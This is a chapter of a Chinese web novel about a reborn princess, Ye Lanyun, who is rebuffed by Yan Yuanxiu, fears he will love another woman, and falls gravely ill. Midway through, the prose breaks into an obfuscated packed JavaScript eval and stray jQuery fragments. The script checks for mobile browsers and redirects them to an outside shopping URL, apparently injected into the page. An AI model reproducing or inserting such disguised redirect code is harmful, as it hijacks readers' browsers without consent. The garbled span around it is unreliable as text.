5. 她重活的意义是什么

作品:《亡国公主重生了

    子渊眨眼再眨眼,宴元恬毫无察觉,她执意问道:“昨日我问哥哥今日是否出府,他说不出去呀。”


    子渊尴尬笑了笑:“临时决定,公子也是临时决定。”


    前世,叶兰韵与宴元修爱得炽热,子渊和子安视她如同亲主子。她对二人也十分熟悉,看子渊如此神情,她哪里还不明白他在说谎。


    此时此刻,宴元修许是就在府内。


    他只是不想见她。


    她在听雨阁待了这么久,她如此苦苦等待,宴元修却不露面,他不愿见她。意识到这一事实,叶兰韵心里酸涩不已。


    她撑着石桌起身,眸子望向了左舒颜。一袭碧水青烟罗裳,面如莹玉,肤如凝脂。她静立着,整个人都透漏着端庄温婉。


    如果她不在这儿,宴元修定会见左舒颜吧。


    “左二姑娘,与宴小世子十分熟稔?”叶兰韵声音淡淡道。


    左舒颜脸色微变:“幼时我随母亲前往灵台山还愿,因着贪玩,与母亲走散了,哪曾想被几只野狗追赶,幸亏宴小世子及时出手相救,我才逃得一命。”


    “宴小世子是我的救命恩人,”她语带感激道。


    听到这儿,叶兰韵似乎有些印象。前世,左舒颜也曾有此遭遇,不过她是被户部李郎中之子李元所救。


    说来也巧,那一天她和宴元修也去灵台山了,还目睹了左夫人派人四处寻找左舒颜。


    不曾想多年后,那李元竟以此事相挟,前去左相府求亲。他不学无术,整日溜鸡斗狗的,左相府怎么可能会将精心教养的嫡女嫁给这种纨绔子弟,自是拒了。


    那李元个混不吝的,就四处败坏左舒颜的名声,说她食言而肥忘恩负义,还说她瞧不上他的身份,一心妄想攀高枝。


    虽说大家都心知肚明李元求娶左舒颜,是癞蛤蟆想吃天鹅肉。但李元那一番闹腾,城中风言风语的,还是给左舒颜添了不少堵,对她的议亲多少有些影响。


    当时,她还私下与宴元修说过此事。没想到这一世,救下左舒颜的竟是宴元修。


    想来也是,前世宴元修一直同她在一起,陪着她玩陪着她闹,无暇顾及其他。这一世,宴元修并未出现在她的生命中,他不认识她,她也未同他一起前去灵台山,他独自一人,自是有可能遇到左舒颜,且救下她。


    前世,是她幼时与宴元修相识,后相知相爱。这一世,换了左舒颜幼时与宴元修相识,那之后是不是就是相知相爱了?命运的齿轮再次转动,这一世,是不是不再眷顾她了,要惩罚她前世负了宴元修,要她亲眼看着宴元修与其他女子相爱相守?


    想到这种可能性。叶兰韵一股寒意从心底翻涌而出,如一桶冰水从头浇下,顺着血脉丝丝缕缕往四肢漫延,连指尖都浸了凉。


    “走,我们回宫,”叶兰韵话一出口,感觉牙齿都在打颤。


    碧青扶着叶兰韵的胳膊,两人向院外走去。


    “属下送公主,”子渊紧随其后。


    刚踏上台阶,叶兰韵脚下一崴,身子踉跄着摔了下去。


    “公主!”


    “公主!”


    碧青和子渊皆惊呼出声。


    屋内,男子听到动静,手一颤,指尖把玩的棋子掉落在棋盘上,发出清脆的声响。


    碧青拽着叶兰韵,被连带着身子一个踉跄,也要摔倒。


    “小心!”子渊慌忙出手,稳住了二人。


    “公主你没事吧,”碧青忙上下打量叶兰韵,手触及到自家公主冰凉的手指,眼圈泛了红。


    “无碍,是方才在石凳上坐久了,一时未走稳。”叶兰韵话落,转而看向了子渊:“多谢子渊了。”


    “是属下冒犯了,”子渊俯身拱手,恭敬道。


    直到将叶兰韵和碧青送出府,目送着公主的车驾离开,他才突然意识道,公主为什么会知道他的名字?


    子渊转过身,准备回听雨阁,就看到宴元恬送左舒颜往府门口这边走来。


    子渊停下了步子,陪宴元恬一起,将左舒颜送上了马车。


    目送左舒颜所乘坐的马车逐渐远去,在了路口拐弯处消了踪迹,宴元恬眼睛瞪得圆圆的,盯着子渊。


    子渊嘿嘿一笑:“怎么了?姑娘。”


    “我哥哥今日当真出门了?”宴元恬问。


    子渊抓了抓脑袋:“这个你得问子安,我也是听我哥哥的。”


    宴元恬白了子渊一眼,同他一起再次回了听雨阁。


    进了院子,果然看到了宴元修。他正站在檐廊下,望着院中的那株桃树出神。


    “哥哥你好大的胆子,居然敢拒见公主!”宴元恬一手捂嘴,一手指着宴元修,满脸激动地跑到了近前。


    “哥哥你当真不喜公主吗?今日我近距离的瞧了华宁公主,她长的比舒颜姐姐还好看呢,而且性子也没有传言中的那般恃宠而骄。就是她看着好像身子骨也不太好的样子……”


    “以后莫要带左二姑娘来听雨阁了,”宴元修开口打断了宴元恬的喋喋不休,他淡淡道:“你难道不知我的院子不喜外人踏入吗?”


    宴元恬确实知道她哥哥的习惯,只是……她声音弱弱道:“我只是以为在哥哥的心里,舒颜姐姐同旁人不一样,毕竟当初哥哥救了她。而且这些年,哥哥一直在外,身边也没有其他人。”


    “有什么不一样?我救她一命,不欠她什么了吧,”宴元修轻声道。


    宴元恬急了:“我不是这个意思。哥哥肯定不欠舒颜姐姐的。哥哥对舒颜姐姐有救命之恩,要真说欠,也是她欠哥哥一份恩情。”


    宴元修正色道:“以后莫要再提这些了,我和左二姑娘互不相欠。你若和她聊得来,就当闺中好友。若聊不来,也不用为了我,特意与她亲近。无论你们关系如何,那都是你们二人的事,不要将她带来听雨阁,更不要将她与我扯到一起。”


    “哥哥!”宴元恬低声辩解道:“那公主,今日不是也来了吗?”


    宴元修沉默了好半响,才道:“你自己也说了,她是公主。”


    公主能与旁人一样吗?


    宴元恬看着面无表情的宴元修,也生了气:“哼!爷爷说得真没错,就你这臭脾气,哪个姑娘能受得了。以后我也不帮你了。”


    宴元恬气势汹汹地离开了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169043|196803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    宴元修转身,顺着檐廊,绕过厅堂,往内院去了。


    跟在后面的子渊,似想到了什么,突然道:“对了,公子,华宁公主竟然知道我的名字,她知道我叫子渊,真是让人诧异。那公主是不是提前打探公子的事了?”


    宴元修袖中的手蜷了蜷,并未应声。在走到屋前的石桌椅旁时,他步子一顿。


    子渊疑惑:“怎么了,公子?”


    宴元修道:“你如今处事,比之以往越发疏忽了。这有桌椅,坐下反思一个时辰。”


    话落他抬脚进了屋。


    子安欲跟上,却被子渊拉住了:“公子什么意思呀。”


    子安眼睛示意了一下石凳:“听公子话,坐那反思去吧。”


    “我反思啥呀,”子渊不解,但还是老实坐到了石凳上。


    子安从他手中抽出了衣袖,“公子让坐一个时辰,你就坐呗,到时候也许你就知道了。这天色变得阴沉沉的,怕是要有场雨了。我要去伺候主子吃午膳了,你自己在这儿吹风吧。”


    *


    叶兰韵自上了马车就一言未发。


    碧青看她脸色发白唇色发紫,忙拿了披风给她系上。


    “公主可还有哪里不舒服?”


    叶兰韵摇头。


    风渐起,天色暗沉。


    “小祥子,你快点。”碧青掀开车窗帘一角,望了眼天色,催道。


    马车在街道上疾驰。待叶兰韵她们刚回到玉兰殿,豆大的雨珠噼里啪啦落了下来。


    叶兰韵站在屋檐下,望着越来越大的雨势,一颗心碾着的疼。


    若这一世,命运注定了要让宴元修与其他女子相守,那她重活的意义是什么?老天为何还要她重活这一世?


    叶兰韵站在那看了许久许久的雨,碧晴碧云劝了几次她都未回屋,直到天色完全变暗。


    当日晚,叶兰韵就起了高热。周太医冒雨连夜赶来……


    *


    “子安,快给我找身干净衣服,冷死我了,”坐足了一个时辰的子渊,在回屋途中,还是淋了雨。一进屋,他就哀嚎道:“我的屁股好疼哎。”


    “子安你身为哥哥,也不知道给我送个厚垫子,那石凳又硬又凉,我坐了那么久,脚都麻了,屁股都快没知觉了。”


    子安没好气道:“这下你也知道那石凳又硬又凉了?上午华宁公主坐了那么久,人家身娇体贵的,你怎么就不知道拿个厚垫子呢。”


    子渊闻言,一拍脑门!


    *


    玉兰殿。


    周太医一剂药下去,叶兰韵是退了热,可临近天亮时,叶兰韵整个人又变得滚烫滚烫的。


    碧青碧云只能再次灌了药。两个时辰过去了,这一次却一直未退热。


    叶兰韵躺在床上,已不省人事了。


    整个太医院的人都来了,此事惊动了皇上皇后,连太后都冒雨赶来了。


    “韵儿,我的韵儿,”太后握着叶兰韵的手,老泪纵横。


    众太医直摇头。


    周太医道:“已下了最猛的药,若这次还不退热,公主怕是……”